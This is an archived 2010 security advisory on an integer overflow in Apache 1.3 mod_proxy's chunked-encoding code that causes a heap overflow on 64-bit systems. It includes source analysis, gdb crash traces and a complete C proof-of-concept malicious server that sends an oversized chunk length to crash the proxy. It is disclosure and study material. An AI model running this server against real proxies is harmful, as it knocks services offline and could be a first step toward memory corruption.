Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: Apache :: bu-1624.htm

Mod_proxy from apache 1.3 - Integer overflow which causes heap overflow.



Mod_proxy from apache 1.3 - Integer overflow which causes heap overflow.
Mod_proxy from apache 1.3 - Integer overflow which causes heap overflow.



Name:                      Mod_proxy from apache 1.3 - Integer overflow which causes heap overflow.=0D
Author: Adam Zabrocki ( or )=0D 
Date:                      Jan 27, 2010=0D
=0D
=0D
   Issue:=0D
=0D
Mod_proxy from apache 1.3.xx (tested on latest version - 1.3.41) allows local and remote attackers=0D
to overflow buffer on heap via integer overflow vulnerability.=0D
=0D
=0D
   Description:=0D
=0D
Mod_proxy implements a proxy/cache for Apache. It implements proxying capability for FTP, CONNECT (for SSL),=0D
HTTP/0.9, HTTP/1.0, and (as of Apache 1.3.23) HTTP/1.1. The module can be configured to connect to other=0D
proxy modules for these and other protocols.=0D
=0D
=0D
   Details:=0D
=0D
=0D
Let's look in code:=0D
=0D
"./src/modules/proxy/proxy_util.c"=0D
long int ap_proxy_send_fb(BUFF *f, request_rec *r, cache_req *c, off_t len, int nowrite, int chunked, size_t recv_buffer_size)=0D
{=0D
=0D
...=0D
    size_t buf_size;=0D
    long remaining = 0;=0D
...=0D
=0D
    for (end_of_chunk = ok = 1; ok;) {=0D
...=0D
        if (chunked) {=0D
            long chunk_start = 0;=0D
            n = 0;=0D
=0D
            /* start of a new chunk */=0D
            if (end_of_chunk) {=0D
                end_of_chunk = 0;=0D
                /* get the chunk size from the stream */=0D
                chunk_start = ap_getline(buf, buf_size, f, 0);    <----------------  [0] reading line from traffic (socket)=0D
                if ((chunk_start <= 0) || ((size_t)chunk_start + 1 >= buf_size) || !ap_isxdigit(*buf)) {=0D
                    n = -1;=0D
                }=0D
                /* parse the chunk size */=0D
                else {=0D
                    remaining = ap_get_chunk_size(buf);           <----------------  [1] convert readed data to 'long' size!=0D
                    if (remaining == 0) { /* Last chunk indicated, get footers */=0D
...=0D
...=0D
                        }=0D
                    }=0D
                    else if (remaining < 0) {=0D
                        n = -1;=0D
                        ap_log_rerror(APLOG_MARK, APLOG_DEBUG|APLOG_NOERRNO, r,=0D
                                      "proxy: remote protocol error, invalid chunk size");=0D
                    }=0D
                }=0D
            }=0D
=0D
            /* read the chunk */=0D
            if (remaining > 0) {=0D
                n = ap_bread(f, buf, MIN((int)buf_size, (int)remaining));     <------------- [2] convert 'long' to 'int' !!!!=0D
                if (n > -1) {=0D
                    remaining -= n;=0D
                    end_of_chunk = (remaining == 0);=0D
                }=0D
            }=0D
...=0D
...=0D
}=0D
=0D
OK. We have simple flow in this code:=0D
=0D
-> server read header=0D
-> if it is chunked connection=0D
  -> [0] server will wait and then read data from socket (size of the chunk)=0D
  -> simple check what server received=0D
  -> [1] convert received data to 'long' type=0D
  -> if there is possitive chunk size=0D
     -> [2] directly convert 'long' to 'int' type    <- here is integer overflow bug in amd64 architecture !!!=0D
     -> copy data using converted type=0D
=0D
=0D
Vulnerability exists only in 64 bits architectures when server directly convert 'long' type to 'int'.=0D
On 64 bits architectures:=0D
   long - 8 bytes=0D
   int  - 4 bytes=0D
=0D
When we have conversion from 'long' to 'int' in 64 bits architectures, directly is removed lower 4 bytes.=0D
=0D
OK. Let's find calls to this vulnerable function:=0D
./src/modules/proxy/proxy_cache.c:            ap_proxy_send_fb(c->origfp, r, c, c->len, 1, 0, IOBUFSIZE);=0D
./src/modules/proxy/proxy_cache.c:            ap_proxy_send_fb(c->origfp, r, c, c->len, 1, 0, IOBUFSIZE);=0D
./src/modules/proxy/proxy_cache.c:        ap_proxy_send_fb(c->origfp, r, c, c->len, r->header_only, 0, IOBUFSIZE);=0D
./src/modules/proxy/proxy_cache.c:        ap_proxy_send_fb(cachefp, r, NULL, c->len, 0, 0, IOBUFSIZE);=0D
./src/modules/proxy/proxy_ftp.c:            ap_proxy_send_fb(data, r, c, -1, 0, 0, conf->io_buffer_size);=0D
./src/modules/proxy/proxy_http.c:        ap_proxy_send_fb(f, r, c, c->len, 0, chunked != NULL, =0D
=0D
I was testing mod_proxy for http configuration. How it works in details?=0D
=0D
client ---------> Server  < -- (mod_proxy_XXX) -- > Other server=0D
                   ^=0D
                   |=0D
                   |=0D
                   -> CACHE (proxy cache)=0D
=0D
Proof of Concept which I attached to this advisory causes vulnerability in connection:=0D
                Server < ---- > Other server=0D
... but as we can see (calls to vuln function) probably there is some opportunity=0D
to trigger this vulnerability from CACHE (proxy cache).=0D
=0D
In real world this vulnerability is dangerous for open proxy servers. In pentesting could be useful=0D
to attack server behind other servers... but... everyone knows probably better vectors :)=0D
=0D
=0D
   Proof of concept=0D
=0D
[root@pi3-test apache]# gdb -q ./bin/httpd=0D
(gdb) r -X=0D
Starting program: /usr/local/apache/bin/httpd -X=0D
[Sun Dec 27 05:03:19 2009] [alert] httpd: Could not determine the server's fully =0D
qualified domain name, using 127.0.0.1 for ServerName=0D
=0D
Program received signal SIGSEGV, Segmentation fault.=0D
0x0000003fec682958 in memcpy () from /lib64/libc.so.6=0D
Missing separate debuginfos, use: debuginfo-install expat-2.0.1-6.fc11.1.x86_64 =0D
glibc-2.10.1-5.x86_64 nss-softokn-freebl-3.12.4-3.fc11.x86_64=0D
(gdb) bt=0D
#0  0x0000003fec682958 in memcpy () from /lib64/libc.so.6=0D
#1  0x000000000043083c in inet_addr ()=0D
#2  0x000000000042a796 in inet_addr ()=0D
#3  0x000000000042975f in inet_addr ()=0D
#4  0x000000000041d8f5 in inet_addr ()=0D
#5  0x0000000000432a29 in inet_addr ()=0D
#6  0x000000000044bc88 in inet_addr ()=0D
#7  0x000000000044bceb in inet_addr ()=0D
#8  0x0000000000441344 in inet_addr ()=0D
#9  0x0000000000441521 in inet_addr ()=0D
#10 0x00000000004416a7 in inet_addr ()=0D
#11 0x0000000000441f5f in inet_addr ()=0D
#12 0x0000000000442820 in inet_addr ()=0D
#13 0x0000003fec61ea2d in __libc_start_main () from /lib64/libc.so.6=0D
#14 0x0000000000403399 in inet_addr ()=0D
#15 0x00007fffffffe618 in ?? ()=0D
#16 0x000000000000001c in ?? ()=0D
#17 0x0000000000000002 in ?? ()=0D
#18 0x00007fffffffe87d in ?? ()=0D
#19 0x00007fffffffe899 in ?? ()=0D
#20 0x0000000000000000 in ?? ()=0D
(gdb) x/i $rip=0D
0x3fec682958 :      mov    %r11,0x20(%rdi)=0D
(gdb) i r rdi=0D
rdi            0x6d1fde 7151582=0D
(gdb) i r r11=0D
r11            0x0      0=0D
(gdb)=0D
=0D
=0D
OK. Let's do the same with debug symbols:=0D
=0D
[root@pi3-test apache_1.3.41]# gdb -q ./src/httpd =0D
(gdb) r -X=0D
Starting program: /root/mod_proxy/apache_1.3.41/src/httpd -X=0D
[Wed Dec 30 17:00:37 2009] [alert] httpd: Could not determine the server's fully =0D
qualified domain name, using 127.0.0.1 for ServerName=0D
=0D
Program received signal SIGSEGV, Segmentation fault.=0D
0x0000003fec682958 in memcpy () from /lib64/libc.so.6=0D
Missing separate debuginfos, use: debuginfo-install expat-2.0.1-6.fc11.1.x86_64 =0D
glibc-2.10.1-5.x86_64 nss-softokn-freebl-3.12.4-3.fc11.x86_64=0D
(gdb) bt=0D
#0  0x0000003fec682958 in memcpy () from /lib64/libc.so.6=0D
#1  0x000000000043083c in ap_bread (fb=0x6bb120, buf=0x6bfd98, nbyte=-65536) at buff.c:776=0D
#2  0x000000000042a796 in ap_proxy_send_fb (f=0x6bb120, r=0x6b9960, c=0x6bacc0, len=-1,=0D
    nowrite=0, chunked=1, recv_buffer_size=8192) at proxy_util.c:536=0D
#3  0x000000000042975f in ap_proxy_http_handler (r=0x6b9960, c=0x6bacc0,=0D
url=0x6bacae "http://127.0.0.1/", proxyhost=0x0, proxyport=0) at proxy_http.c:636=0D 
#4  0x000000000041d8f5 in proxy_handler (r=0x6b9960) at mod_proxy.c:395=0D
#5  0x0000000000432a29 in ap_invoke_handler (r=0x6b9960) at http_config.c:476=0D
#6  0x000000000044bc88 in process_request_internal (r=0x6b9960) at http_request.c:1299=0D
#7  0x000000000044bceb in ap_process_request (r=0x6b9960) at http_request.c:1315=0D
#8  0x0000000000441344 in child_main (child_num_arg=0) at http_main.c:4885=0D
#9  0x0000000000441521 in make_child (s=0x68f0b0, slot=0, now=1262188837) at http_main.c:5000=0D
#10 0x00000000004416a7 in startup_children (number_to_start=5) at http_main.c:5083=0D
#11 0x0000000000441f5f in standalone_main (argc=2, argv=0x7fffffffe608) at http_main.c:5430=0D
#12 0x0000000000442820 in main (argc=2, argv=0x7fffffffe608) at http_main.c:5773=0D
(gdb) up=0D
#1  0x000000000043083c in ap_bread (fb=0x6bb120, buf=0x6bfd98, nbyte=-65536) at buff.c:776=0D
776             memcpy(buf, fb->inptr, nbyte);=0D
(gdb) print nbyte=0D
$1 = -65536=0D
(gdb) print (unsigned int)nbyte=0D
$2 = 4294901760=0D
(gdb) list=0D
771     #ifdef CHARSET_EBCDIC=0D
772             if (fb->flags & B_ASCII2EBCDIC)=0D
773                 ascii2ebcdic(buf, fb->inptr, nbyte);=0D
774             else=0D
775     #endif /*CHARSET_EBCDIC*/=0D
776             memcpy(buf, fb->inptr, nbyte);=0D
777             fb->incnt = nrd - nbyte;=0D
778             fb->inptr += nbyte;=0D
779             return nbyte;=0D
780         }=0D
=0D
=0D
--- server.c ---=0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
#include =0D
=0D
#define PORT 80=0D
#define sys_err(x)                         \=0D
do {                                       \=0D
   fprintf(stderr,"%s",x);                 \=0D
   exit(-1);                               \=0D
} while(0)=0D
=0D
void *parse_me(void *arg);=0D
=0D
int main(int argc, char *argv[]) {=0D
=0D
   int r_sock,connfd,tmp,tmp2;=0D
   struct sockaddr_in saddr;=0D
   pthread_t bo_tak;=0D
   struct stat statbuf;=0D
=0D
   if ( (r_sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)=0D
      sys_err("Socket()!\n");=0D
=0D
   tmp=sizeof(struct sockaddr_in);=0D
   memset(&saddr,0x0,tmp);=0D
   saddr.sin_family      = PF_INET;=0D
   saddr.sin_port        = htons(PORT);=0D
   saddr.sin_addr.s_addr = htonl(INADDR_ANY);=0D
=0D
   if (bind(r_sock, (struct sockaddr *) &saddr, tmp) == -1)=0D
      sys_err("Bind()!\n");=0D
=0D
   if ( (listen(r_sock,0x666)) != 0)=0D
      sys_err("Listen()!\n");=0D
=0D
pierw_p:=0D
=0D
   while (1) {=0D
      if ( (connfd=accept(r_sock,(struct sockaddr*)&saddr,(socklen_t *)&tmp)) < 0) {=0D
         if (errno == EINTR)=0D
            goto pierw_p;=0D
         else=0D
            sys_err("Accept()!\n");=0D
      }=0D
      if ( (tmp2=pthread_create(&bo_tak,NULL,parse_me,(void *)connfd/*&tymczasowe*/) != 0))=0D
         sys_err("Accept() => Blad przy tworzeniu watku! Wychodze...");=0D
   }=0D
}=0D
=0D
void *parse_me(void *arg) {=0D
=0D
   int sock = (int)arg;=0D
   char buf[4096];=0D
   char *head = "HTTP/1.1 200 OK\r\n"=0D
                "Date: Sat, 66 Dec 666 23:56:50 GMT\r\n"=0D
                "Server: pi3 (pi3 OS)\r\n"=0D
                "X-Powered-By: pi3\r\n"=0D
                "Connection: close\r\n"=0D
                "Transfer-Encoding: chunked\r\n"=0D
                "Content-Type: text/html; charset=UTF-8\r\n\r\n";=0D
=0D
   memset(buf,0x0,4096);=0D
   read(sock,buf,4096);=0D
   write(sock,head,strlen(head));=0D
   write(sock,"10000000FFFF0000\n",17);=0D
   while(1)=0D
      write(sock,"A",1);=0D
}=0D
---   EOF    ---=0D
=0D
   Greets=0D
=0D
+) Kochana Ewa :* :)=0D
+) Guys from HISPASEC, snoop, thorkill, Piotr Bania, tmg, guys from isec.pl,=0D
   guys from SecurityReason, #lam3rz@IRCNET and #plhack@IRCNET=0D
+) Colm MacC=E1rthaigh from apache security team.=0D
=0D
=0D
   Disclaimer=0D
=0D
This document and all the information it contains is provided "as is",=0D
without any warranty. The author is not responsible for the=0D
misuse of the information provided in this advisory. The advisory is=0D
provided for educational purposes only.=0D
=0D
Permission is hereby granted to redistribute this advisory, providing=0D
that no changes are made and that the copyright notices and=0D
disclaimers remain intact.=0D
=0D
=0D
   Ending words...=0D
=0D
That's all. I have tested it on/with latest apache version - 1.3.41.=0D
Probably all versions 1.3.xx are vulnerability.=0D
=0D
- Thanks and Best regards Adam Zabrocki (pi3 / pi3ki31ny).=0D
=0D
=0D
   BUGFIX:=0D
=0D
Fix is available in a forthcoming version of Apache 1.3.x.=0D
=0D
=0D
   Disclosure Timeline=0D
=0D
*) 27 Jan,  2010  -  release advisory=0D
...=0D
*) 06 Jan,  2010  -  release patch=0D
...=0D
...=0D
*) 30 Dec,  2009  -  contact with vendor=0D
*) 24 Dec,  2009  -  exploit bug and write advisory=0D
*) 04 Sept, 2009  -  found bug=0D
=0D
=0D
--=0D
http://pi3.com.pl=0D 


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH